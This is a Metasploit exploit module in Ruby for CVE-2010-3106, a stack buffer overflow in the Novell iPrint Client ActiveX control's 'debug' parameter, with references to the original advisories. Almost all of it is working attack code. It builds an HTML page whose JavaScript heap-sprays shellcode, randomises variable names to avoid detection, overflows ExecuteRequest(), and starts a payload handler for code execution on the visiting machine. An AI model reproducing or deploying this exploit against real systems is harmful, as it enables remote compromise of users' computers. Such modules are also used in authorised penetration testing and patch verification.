##
# novelliprint_executerequest_dbg.rb
#
# Novell iPrint Client ActiveX Control 'debug' Buffer Overflow exploit for the Metasploit Framework
#
# Exploit successfully tested on the following platforms:
#  - Novell iPrint Client 5.32 on Internet Explorer 7, Windows XP SP3
#  - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
#  - Novell iPrint Client 5.40 on Internet Explorer 7, Windows Vista SP2
#
# ienipp.ocx version tested:
# File Version: 5.3.2.0 and 5.4.0.0
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
# RegKey Safe for Script: True
# RegKey Safe for Init: True
# KillBitSet: False
#
# References:
#  - CVE-2010-3106
#  - OSVDB 66960
#  - http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs
#  - http://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit
#  - http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis
#  - http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
#
# Trancer
# http://www.rec-sec.com
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Novell iPrint Client ActiveX Control debug Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40.
                    When sending an overly long string to the 'debug' parameter in ExecuteRequest()
                    property of ienipp.ocx an attacker may be able to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'Trancer <mtrancer[at]gmail.com' ],
            'Version'        => '$Revision:$',
            'References'     =>
                [
                    [ 'CVE', '2010-3106' ],
                    [ 'OSVDB', '66960'],
                    [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-10-06' ],    # Aaron Portnoy, TippingPoint DVLabs
                    [ 'URL', 'http://www.exploit-db.com/exploits/15001/' ],             # MOAUB #14
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A, 'Offset' => 250 } ]
                ],
            'DisclosureDate' => 'Aug 04 2010',
            'DefaultTarget'  => 0))
    end
 
    def autofilter
        false
    end
 
    def check_dependencies
        use_zlib
    end
 
    def on_request_uri(cli, request)
        # Re-generate the payload.
        return if ((p = regenerate_payload(cli)) == nil)
 
        # Encode the shellcode.
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
         
        # Setup exploit buffers
        nops      = Rex::Text.to_unescape([target.ret].pack('V'))
        ret       = Rex::Text.uri_encode([target.ret].pack('L'))
        blocksize = 0x40000
        fillto    = 500
        offset    = target['Offset']
         
        # ActiveX parameters
        clsid   = "36723F97-7AA0-11D4-8919-FF2D71D0D32C"
        op      = "op-client-interface-version"
        dbg     = "debug="
 
        # Randomize the javascript variable names
        ienipp       = rand_text_alpha(rand(100) + 1)
        j_shellcode  = rand_text_alpha(rand(100) + 1)
        j_nops       = rand_text_alpha(rand(100) + 1)
        j_ret        = rand_text_alpha(rand(100) + 1)
        j_headersize = rand_text_alpha(rand(100) + 1)
        j_slackspace = rand_text_alpha(rand(100) + 1)
        j_fillblock  = rand_text_alpha(rand(100) + 1)
        j_block      = rand_text_alpha(rand(100) + 1)
        j_memory     = rand_text_alpha(rand(100) + 1)
        j_op         = rand_text_alpha(rand(100) + 1)
        j_dbg        = rand_text_alpha(rand(100) + 1)
        j_counter    = rand_text_alpha(rand(30) + 2)
 
        html = %Q|<html>
<object classid='clsid:#{clsid}' id='#{ienipp}'></object>
<script>
var #{j_shellcode} = unescape('#{shellcode}');
var #{j_nops} = unescape('#{nops}');
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
var #{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
    #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
}
 
var #{j_ret} = '';
for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) {
    #{j_ret} += unescape('#{ret}');
}
#{j_op} = "#{op}"; 
#{j_dbg} = "#{dbg}";
#{ienipp}.ExecuteRequest(#{j_op}, #{j_dbg} + #{j_ret}); 
</script>
</html>|
 
        print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
 
        # Transmit the response to the client
        send_response(cli, html, { 'Content-Type' => 'text/html' })
 
        # Handle the payload
        handler(cli)
    end
 
end